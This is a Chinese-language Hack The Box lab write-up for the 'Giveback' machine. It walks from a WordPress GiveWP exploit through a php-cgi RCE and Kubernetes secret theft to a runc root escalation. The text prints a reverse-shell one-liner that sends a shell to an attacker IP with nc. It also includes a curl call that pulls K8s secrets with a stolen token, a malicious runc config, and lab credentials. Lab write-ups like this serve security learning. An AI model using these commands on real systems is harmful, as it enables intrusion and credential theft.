HTB_Giveback

HTB_Giveback

EnchanterW Lv3

Scan

Nmap Scan Results
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Nmap 7.95 scan initiated Sun Nov  2 10:55:22 2025 as: /usr/lib/nmap/nmap -sT -sC -A -O -p22,80,30686 -oA ./nmapscan/details --min-rate=2500 -Pn 10.129.177.249
Nmap scan report for 10.129.177.249
Host is up (0.36s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_ 256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open http nginx 1.28.0
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
|_http-server-header: nginx/1.28.0
|_http-generator: WordPress 6.8.1
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
30686/tcp open http Golang net/http server
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sun, 02 Nov 2025 15:55:50 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
| "serviceProxyHealthy": true
| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sun, 02 Nov 2025 15:55:30 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
| "serviceProxyHealthy": true
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Load-Balancing-Endpoint-Weight: 1
| Date: Sun, 02 Nov 2025 15:55:31 GMT
| Content-Length: 127
| "service": {
| "namespace": "default",
| "name": "wp-nginx-service"
| "localEndpoints": 1,
|_ "serviceProxyHealthy": true

初步扫描发现 80 端口为 WordPress 站点,30686 端口为一个 Golang 服务,暂时用途不明,优先对 80 端口进行测试。

通过 robots.txtwpscan 扫描,发现存在 GiveWP 插件漏洞。

image-20251105215453500

根据版本号搜索,发现可利用漏洞 CVE-2024-5932 2

image-20251105215819486

漏洞利用需要找到 Donation page,可以通过以下文章获取具体路径。

漏洞手动利用方式

image-20251105220602888

Shell

shell1

enum

获取初始 Shell 后,发现环境是一个容器,缺少 ipifconfig 等常用命令,导致初期难以确定内网 IP。实际上是因为我太菜了找不到方法来确定,如果有师傅看到这里请给我点指点。

1
2
3
4
5
6
<-59cf8f55c7-mjhp5:/opt/bitnami/wordpress/wp-admin$ hostname
hostname
beta-vino-wp-wordpress-59cf8f55c7-mjhp5
<-59cf8f55c7-mjhp5:/opt/bitnami/wordpress/wp-admin$ ip a
ip a
bash: ip: command not found

查看 wp-config 文件获取数据库凭据。

1
2
3
4
5
6
7
8
9
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'bitnami_wordpress' );
/** Database username */
define( 'DB_USER', 'bn_wordpress' );
/** Database password */
define( 'DB_PASSWORD', 'sW5sp4spa3u7RLyetrekE4oS' );
/** Database hostname */
define( 'DB_HOST', 'beta-vino-wp-mariadb:3306' );

查看环境变量,发现大量内网服务信息,其中 10.43.0.0/16 网段引起了注意。

环境变量信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<wordpress-59cf8f55c7-mjhp5:/opt/bitnami/wordpress$ env|grep -i pass ; env |grep -i name ;env|grep -i 10.
<v|grep -i pass ; env |grep -i name ;env|grep -i 10.
WORDPRESS_SMTP_PASSWORD=
WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS
WORDPRESS_PASSWORD=O8F7KR5zGi
ALLOW_EMPTY_PASSWORD=yes
WORDPRESS_SMTP_FROM_NAME=FirstName LastName
HOSTNAME=beta-vino-wp-wordpress-59cf8f55c7-mjhp5
WORDPRESS_FIRST_NAME=FirstName
WORDPRESS_DATABASE_NAME=bitnami_wordpress
WORDPRESS_USERNAME=user
WORDPRESS_BLOG_NAME=User's Blog!
WORDPRESS_LAST_NAME=LastName
BITNAMI_APP_NAME=wordpress
OS_NAME=linux
WP_NGINX_SERVICE_PORT_80_TCP=tcp://10.43.4.242:80
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
BETA_VINO_WP_WORDPRESS_PORT_80_TCP=tcp://10.43.61.204:80
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
BETA_VINO_WP_MARIADB_PORT_3306_TCP=tcp://10.43.147.82:3306
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
WP_NGINX_SERVICE_SERVICE_HOST=10.43.4.242
WP_NGINX_SERVICE_PORT=tcp://10.43.4.242:80
BETA_VINO_WP_MARIADB_PORT=tcp://10.43.147.82:3306
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241
BETA_VINO_WP_WORDPRESS_PORT=tcp://10.43.61.204:80
WP_NGINX_SERVICE_PORT_80_TCP_ADDR=10.43.4.242
BETA_VINO_WP_WORDPRESS_PORT_443_TCP=tcp://10.43.61.204:443
BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR=10.43.147.82
BETA_VINO_WP_WORDPRESS_SERVICE_HOST=10.43.61.204
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR=10.43.61.204
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR=10.43.61.204
BETA_VINO_WP_MARIADB_SERVICE_HOST=10.43.147.82

文件传输技巧

由于容器环境限制,无法使用常规命令下载文件。这里采用 nc 和文件描述符的方式传输 ligo-agent 以进行内网代理。

攻击机 (发送文件):

1
nc -lvnp PORT < file

靶机 (接收文件):

1
2
3
4
5
6
# 1. 建立 TCP 连接并绑定到文件描述符 3
exec 3<>/dev/tcp/IP/PORT
# 2. 从文件描述符 3 读取数据并写入文件
cat <&3 > agent
# 3. 关闭连接
exec 3>&-

该方法通过 shell 的特殊重定向功能,将网络连接视为文件进行读写,非常适用于受限环境。

根据环境变量中的信息,探测 10.43.2.241:5000,发现一个可利用的 php-cgi RCE。

image-20251105233847240

此漏洞类似于 CVE-2024-4577,但在该靶机环境中,可以直接在 POST 请求体中发送 Linux 命令执行,而无需 <?php ... ?> 标签。

shell2

利用 php-cgi RCE 获取第二个容器的 Shell。

1
php -r '$p="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.65 4488 > /tmp/f"; $o = ["http"=>["method"=>"POST", "header"=>"Content-Type: application/x-www-form-urlencoded","content"=>$p,"timeout"=>4]]; $c=stream_context_create($o); $r=@file_get_contents("http://legacy-intranet-service:5000/cgi-bin/php-cgi?--define+allow_url_include%3don+--define+auto_prepend_file%3dphp://input",false,$c); echo $r===false?"":substr($r,0,5000);'

在新容器中进行信息枚举。

k8s enum

在新容器中,发现了 Kubernetes (K8s) 的 Service Account Token,这是横向移动和提权的关键。
image-20251109151337216

首先确定当前命名空间 (namespace) 为 default cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
然后利用 Token 尝试列出该命名空间下的 secrets

1
2
# TOKEN 变量需要替换为获取到的真实 Token
curl -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/default/secrets

image-20251109162744272

发现了三个 secret,将其中的密码进行 Base64 解码后,成功获得了 SSH 登录凭据。

User

使用从 K8s secret 中获取的凭据成功 SSH 登录,拿到 user.txt

image-20251109163001705

priv_esc

使用 sudo -l 发现当前用户可以免密码执行 /opt/debug

1
2
3
4
babywyrm@giveback:~$ sudo /opt/debug --help
[sudo] password for babywyrm:
Validating sudo...
Please enter the administrative password:

执行 /opt/debug 时,除了 sudo 密码外,还需要一个额外的“管理员密码”。依旧是想到之前获取到了一堆密码,挨个试了一遍发现没有能用的,看了别的师傅的wp 发现这个密码是之前从 wp-config.php 中获得的数据库密码 sW5sp4spa3u7RLyetrekE4oS 进行 Base64 编码后的结果。不是哥们我真想不明白为啥了,这都是咋发现的

执行后发现 /opt/debug 实际上是 runc,一个容器运行时工具。这意味着我们可以通过 runc 以 root 权限运行一个容器,从而实现提权。

Gemini 对 runc 提权的解释

既然你拥有 sudo /opt/debug 的权限来执行 runc,这意味着你获得了以 root 权限操作容器的能力。这通常可以导致直接的本地权限提升 (Local Privilege Escalation)。

主要的利用思路是:通过 runc 启动一个特权容器,然后从容器内部访问或控制宿主机。

1. 直接获取宿主机 root shell (最直接)

思路: 创建一个 runc 容器 bundle,其中包含一个配置,让容器的根文件系统映射到宿主机的根文件系统 (/),并以 root 用户身份启动容器。

步骤:

  1. 创建一个工作目录:
    1
    mkdir /tmp/runc_exploit && cd /tmp/runc_exploit
  2. 生成一个默认的 config.json
    1
    sudo /opt/debug spec
  3. 修改 config.json (关键步骤):
    • 更改 process.args 确保容器启动后执行一个 shell,例如 ["/bin/sh"]
    • 更改 root.path"path": "rootfs" 改为 "path": "/",将容器的根指向宿主机的根。
    • 取消命名空间隔离:linux.namespaces 数组清空 ("namespaces": []),使容器共享宿主机的命名空间。
    • 确保用户是 root 检查 process.useruidgid 均为 0

Root

根据上述原理,创建一个恶意的 config.json 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
{
"ociVersion": "1.0.2-dev",
"process": {
"terminal": true,
"user": {
"uid": 0,
"gid": 0
},
"args": [
"sh"
],
"env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"TERM=xterm"
],
"cwd": "/",
"rlimits": [
{
"type": "RLIMIT_NOFILE",
"hard": 1024,
"soft": 1024
}
]
},
"root": {
"path": "/",
"readonly": false
},
"mounts": [],
"linux": {
"resources": {
"devices": [
{
"allow": true,
"access": "rwm"
}
]
},
"namespaces": []
}
}

config.json 所在目录执行 runc,成功获取 root shell。

1
2
3
4
5
6
7
8
9
babywyrm@giveback:/tmp/runc_exploit$ sudo /opt/debug run my-pwned-container
Validating sudo...
Please enter the administrative password:

Both passwords verified. Executing the command...
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
de908a3fd95009a267e400d7699bec6e

More in this box

/opt/debug 脚本的核心逻辑是验证 sudo 和一个额外的管理员密码,然后执行 runc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash

# Mandate safe paths
export PATH="/usr/sbin:/usr/bin:/sbin:/bin"

# 密码是 Base64 编码后的
ADMIN_OVERRIDE="c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T"

# ... (省略部分代码) ...

# Call admin check
ask_for_additional_password

# Once verified execute runc debug
$ECHO_BIN "Both passwords verified. Executing the command..."
$SUDO_BIN /var/lib/rancher/k3s/data/e50868881d9744d0d0027dda983507e867b3787482eb00005d97239d9aa501a5/bin/runc.amd64.debug "$@"

php-cgi 的后端代码显示,它直接将 POST 请求的内容传递给 passthru 函数执行,导致了直接的远程命令执行。
7ed0b3a84a3dbc6157b334f294f2fa0b

Kubernetes (K8s) 采用基于角色的访问控制 (RBAC) 体系。通过枚举 rolesclusterroles 以及它们绑定的 serviceaccount,可以清晰地了解当前 Token 所拥有的权限(例如,可以对哪些资源 resource 执行哪些操作 verb)。
!Read More 11

可以使用如 kdigger 这样的工具来自动化枚举 K8s 环境中的安全配置和潜在攻击面。

更多信息请参考:
Kubernetes Pentesting (HackTricks)
Kubernetes Pentest Methodology (CyberArk)

  • Title: HTB_Giveback
  • Author: EnchanterW
  • Created at : 2025-11-09 18:00:00
  • Updated at : 2025-11-15 14:54:46
  • Link: https://enchanter-w.github.io/2025/11/09/HTB_Giveback/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments